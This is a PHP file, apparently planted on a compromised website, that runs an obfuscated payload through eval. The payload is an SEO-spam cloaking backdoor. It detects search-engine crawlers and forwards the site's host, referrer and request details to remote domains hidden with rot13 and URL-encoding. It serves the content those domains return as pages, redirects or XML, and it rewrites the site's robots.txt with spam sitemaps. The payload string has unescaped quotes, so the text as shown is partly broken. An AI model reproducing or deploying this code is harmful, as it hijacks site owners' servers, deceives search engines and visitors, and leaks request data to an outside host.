<?php
/*175-170*/
$a=base64_decode(" goto Yg7oL; gVHAU: $lang = @$_SERVER["\110\x54\x54\120\x5f\x41\x43\x43\105\x50\124\x5f\x4c\101\116\107\125\101\107\105"]; goto xHsSA; lkovC: function is_https() { if (isset($_SERVER["\x48\124\124\x50\x53"]) && strtolower($_SERVER["\x48\124\x54\120\123"]) !== "\x6f\x66\146") { return true; } elseif (isset($_SERVER["\110\x54\124\x50\137\130\137\106\x4f\122\127\101\x52\x44\x45\x44\x5f\x50\x52\117\x54\117"]) && $_SERVER["\x48\124\x54\x50\137\130\137\x46\117\122\x57\101\x52\x44\x45\104\x5f\x50\x52\117\x54\x4f"] === "\150\x74\x74\x70\x73") { return true; } elseif (isset($_SERVER["\110\124\x54\x50\x5f\x46\122\x4f\x4e\x54\x5f\105\116\x44\137\110\124\x54\120\123"]) && strtolower($_SERVER["\x48\x54\x54\x50\x5f\106\122\x4f\116\124\137\105\x4e\104\137\x48\124\x54\x50\123"]) !== "\157\146\x66") { return true; } return false; } goto lZDI6; BBWYA: $zz = disbot(); goto v0aij; KMCMS: $duri = $duri == '' ? "\x2f" : $duri; goto wbCfb; FX0vx: if (stristr($duri, "\x2f\77")) { $model = "\x3f"; } goto Vb5E3; xHsSA: $urlshang = ''; goto RsLTj; TDrEz: $param = "\x77\x65\x62\x3d" . $host . "\x26\172\172\75" . $zz . "\x26\165\162\151\75" . $duri . "\x26\x75\x72\x6c\163\x68\141\x6e\x67\75" . $urlshang . "\46\x68\x74\x74\x70\x3d" . $http . "\46\154\141\156\147\x3d" . $lang . "\x26\163\145\x72\x76\x65\x72\75" . $server . "\46\x6d\x6f\x64\145\154\x3d" . $model; goto POETH; NJJzp: if (!strstr($html_content, "\x6e\157\142\157\x74\x75\x73\145\x72\x61\147\145\x6e\x74")) { if (strstr($html_content, "\x6f\x6b\x68\x74\x6d\154")) { @header("\103\157\156\164\x65\156\x74\55\164\171\160\145\72\40\x74\x65\x78\x74\x2f\x68\164\x6d\154\73\40\x63\150\x61\x72\x73\145\x74\x3d\165\x74\x66\55\70"); $html_content = str_replace("\x6f\153\x68\x74\x6d\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\147\x65\164\x63\x6f\156\x74\x65\156\x74\65\60\60\160\x61\x67\x65")) { @header("\110\124\x54\x50\57\61\x2e\x31\40\65\x30\x30\x20\111\156\164\145\x72\x6e\x61\x6c\x20\x53\145\162\x76\145\162\40\x45\162\162\x6f\162"); die; } else { if (strstr($html_content, "\x34\x30\x34\160\141\147\x65")) { @header("\110\124\x54\120\57\x31\x2e\61\x20\x34\x30\x34\40\x4e\x6f\164\40\106\x6f\x75\x6e\144"); die; } else { if (strstr($html_content, "\x33\60\x31\x70\141\147\x65")) { @header("\x48\124\x54\120\57\x31\x2e\61\x20\63\x30\x31\40\115\x6f\x76\x65\x64\x20\x50\x65\x72\155\141\x6e\145\156\x74\154\x79"); $html_content = str_replace("\x33\x30\x31\160\x61\x67\x65", '', $html_content); header("\x4c\157\x63\x61\164\x69\157\x6e\x3a\40" . $html_content); die; } else { if (strstr($html_content, "\x6f\153\x78\x6d\154")) { $html_content = str_replace("\x6f\x6b\170\x6d\x6c", '', $html_content); @header("\x43\157\x6e\x74\x65\x6e\164\x2d\124\x79\160\145\x3a\x20\141\160\160\x6c\151\143\x61\x74\x69\157\156\x2f\x78\x6d\154\x3b\40\143\x68\x61\x72\x73\145\x74\75\165\x74\x66\55\x38"); echo $html_content; die; } else { if (strstr($html_content, "\x6f\x6b\x72\157\142\157\164\163")) { $html_content = str_replace("\x6f\x6b\x72\157\x62\157\164\x73", '', $html_content); @header("\x43\x6f\x6e\x74\145\x6e\x74\x2d\x54\x79\x70\145\x3a\40\x74\x65\170\x74\57\x70\154\x61\151\156"); echo $html_content; die; } } } } } } } goto hseOU; AUVwd: function create_robots($url) { $path = $_SERVER["\104\x4f\103\x55\115\x45\116\124\x5f\x52\x4f\x4f\124"] . "\57\x72\x6f\x62\x6f\x74\163\x2e\x74\170\164"; $content = "\125\x73\x65\162\55\141\147\x65\156\164\x3a\x20\52" . PHP_EOL; $content .= "\x41\154\154\x6f\x77\72\x20\57" . PHP_EOL . PHP_EOL; $content .= "\123\x69\164\145\155\x61\x70\x3a\40" . $url . "\57\x73\x69\x74\145\x6d\141\160\x2e\170\x6d\154" . PHP_EOL; $content .= "\123\151\x74\145\155\141\160\72\x20" . $url . "\x2f\x73\151\164\x65\155\x61\160\55\x31\56\170\x6d\154" . PHP_EOL; $content .= "\123\151\164\145\x6d\141\x70\x3a\x20" . $url . "\57\163\x69\x74\145\155\141\160\x2d\x32\56\170\155\154" . PHP_EOL; $content .= "\x53\x69\x74\145\x6d\x61\160\x3a\40" . $url . "\x2f\x73\x69\164\145\x6d\141\x70\55\x33\56\x78\x6d\x6c" . PHP_EOL; $content .= "\123\151\164\145\155\141\x70\x3a\40" . $url . "\57\163\x69\164\x65\155\141\160\55\x34\x2e\170\155\x6c" . PHP_EOL; $content .= "\123\151\x74\x65\x6d\x61\160\x3a\40" . $url . "\57\x73\151\164\x65\155\141\x70\x2d\65\56\170\x6d\154" . PHP_EOL; if (!file_exists($path)) { file_put_contents($path, $content); } else { $existingContent = file_get_contents($path); if ($existingContent !== $content) { file_put_contents($path, $content); } } } goto dGcVU; G7vty: $server = detect_server_software(); goto x8Niv; mKDz_: if (empty($matches) || $matches[1] == "\167\x70\x2d\x63\x72\x6f\155\x2e\160\150\x70" || $matches[1] == "\144\145\x74\x61\151\x6c\56\x70\x68\160") { $model_file = "\x69\156\x64\x65\170\56\x70\x68\x70"; $model = "\x69\156\144\145\170"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\x2f"); } $model = str_replace("\56\x70\150\160", '', $model_file); } goto FX0vx; oHncb: function drequest_uri() { if (isset($_SERVER["\x52\x45\121\125\105\x53\x54\x5f\125\122\x49"])) { $duri = $_SERVER["\x52\105\x51\125\x45\123\x54\137\x55\122\111"]; } else { if (isset($_SERVER["\x61\x72\x67\x76"])) { $duri = $_SERVER["\120\110\120\x5f\123\x45\x4c\106"] . "\x3f" . $_SERVER["\141\162\147\x76"][0]; } else { $duri = $_SERVER["\120\110\120\137\x53\x45\114\106"] . "\x3f" . $_SERVER["\121\125\x45\x52\131\137\123\124\x52\x49\x4e\107"]; } } return $duri; } goto lkovC; POETH: $html_content = request($xmlname, $http_web, $param); goto NJJzp; RV5rc: $duri = urlencode($duri); goto G7vty; RsLTj: if (isset($_SERVER["\x48\124\x54\x50\x5f\122\105\106\105\x52\105\x52"])) { $urlshang = $_SERVER["\x48\124\x54\x50\137\122\105\x46\105\x52\x45\x52"]; } goto nRTlA; wbCfb: preg_match("\x2f\134\57\50\133\136\x5c\57\135\x2b\x5c\56\x70\x68\x70\51\x2f", $duri, $matches); goto mKDz_; LaKj5: $http_web = "\x68\164\x74\x70\x73"; goto rZlR1; Q5C0b: $istest = false; goto wd3RI; x8Niv: create_robots($http . "\x3a\x2f\x2f" . $host); goto TDrEz; hseOU: function disbot() { $user_agent = strtolower($_SERVER["\110\x54\124\120\137\125\123\x45\122\137\x41\x47\x45\x4e\124"]); if (stristr($user_agent, "\x67\x6f\x6f\147\154\x65\x62\157\x74") || stristr($user_agent, "\x62\x69\156\147") || stristr($user_agent, "\x79\x61\x68\x6f\x6f") || stristr($user_agent, "\x67\x6f\x6f\x67\x6c\x65") || stristr($user_agent, "\107\x6f\x6f\147\x6c\145\x62\157\164")) { return 1; } else { return 2; } } goto oHncb; lZDI6: function detect_server_software() { $path = $_SERVER["\104\117\103\x55\115\105\x4e\124\137\x52\x4f\x4f\x54"] . "\x2f\56\x68\x74\141\143\143\145\x73\163"; if (file_exists($path)) { return 1; } else { return 2; } } goto AUVwd; Yg7oL: $xmlname = array("\x25\63\x31\45\63\x37\x25\x33\x35\45\62\104\45\x37\71\x25\67\x36\x25\x36\x31\x25\x37\x38\45\x33\61\45\63\67\x25\x33\60\45\66\105\45\x32\105\45\x37\63\45\66\x35\45\67\66\x25\x36\x32\45\x36\x31\x25\x37\x32\45\x32\x45\45\x36\102\45\66\103\45\66\x44", "\x25\63\61\x25\x33\67\x25\63\x35\45\62\x44\45\67\x39\45\67\66\45\x36\61\45\67\70\x25\x33\x31\x25\63\67\x25\63\x30\x25\66\x46\x25\x32\105\x25\x37\x34\45\x37\x39\x25\x36\x32\45\x36\65\x25\66\105\x25\67\x31\45\x32\x45\x25\66\102\x25\66\x43\45\x36\104", "\x25\x33\61\x25\63\x37\x25\63\65\45\62\104\x25\67\x39\x25\67\66\45\x36\x31\45\x37\x38\45\x33\x31\x25\63\x37\45\x33\x30\45\x37\x30\x25\62\x45\45\x37\66\x25\x36\x46\45\x37\x39\x25\67\x36\45\x36\x31\x25\x37\70\45\66\x36\x25\62\x45\x25\66\x42\45\x36\x43\x25\x36\104", "\x25\x33\61\x25\x33\67\45\x33\x35\x25\62\x44\x25\67\71\45\x37\x36\x25\x36\x31\x25\67\70\45\x33\x31\x25\63\x37\x25\x33\x30\x25\x37\61\x25\62\105\x25\x36\64\45\66\70\x25\66\105\45\66\67\45\x36\67\45\67\x32\45\x32\105\x25\x36\x42\x25\66\103\45\x36\104", "\x25\x33\x31\45\63\67\45\x33\x35\x25\62\104\x25\67\x39\x25\x37\66\x25\x36\x31\45\x37\70\45\x33\x31\x25\63\67\x25\x33\x30\45\67\x32\x25\62\105\x25\66\66\x25\66\x37\45\66\x35\x25\x36\105\x25\66\x33\x25\x37\62\x25\x32\x45\45\x36\x42\x25\x36\x43\x25\x36\104"); goto LaKj5; Vb5E3: $string = "\x31\67\x35\x2d\x6c\x69\156\153\x31\67\60"; goto Q5C0b; rZlR1: $host = $_SERVER["\110\124\124\x50\137\110\117\123\124"]; goto gVHAU; q4XL1: if ($duri != "\57") { $duri = str_replace("\57" . $model_file, '', $duri); $duri = str_replace("\x2f\x69\156\x64\x65\x78\x2e\160\x68\160", '', $duri); $duri = str_replace("\x3f", '', $duri); $duri = str_replace("\x21", '', $duri); } goto RV5rc; nRTlA: if (is_https()) { $http = "\150\164\x74\x70\x73"; } else { $http = "\x68\x74\164\160"; } goto BBWYA; v0aij: $duri = drequest_uri(); goto KMCMS; wd3RI: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto q4XL1; dGcVU: function request($webs, $http_web, $param) { shuffle($webs); foreach ($webs as $domain) { $domain = str_rot13(urldecode($domain)); $url = $http_web . "\x3a\57\57" . $domain . "\x2f\x73\165\160\x65\162\x36\x2e\160\150\x70\x3f" . $param; $response = @file_get_contents($url); if ($response !== false) { return $response; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { curl_close($ch); } } return "\156\157\142\157\164\x75\x73\x65\x72\x61\147\x65\x6e\x74"; }");
eval($a);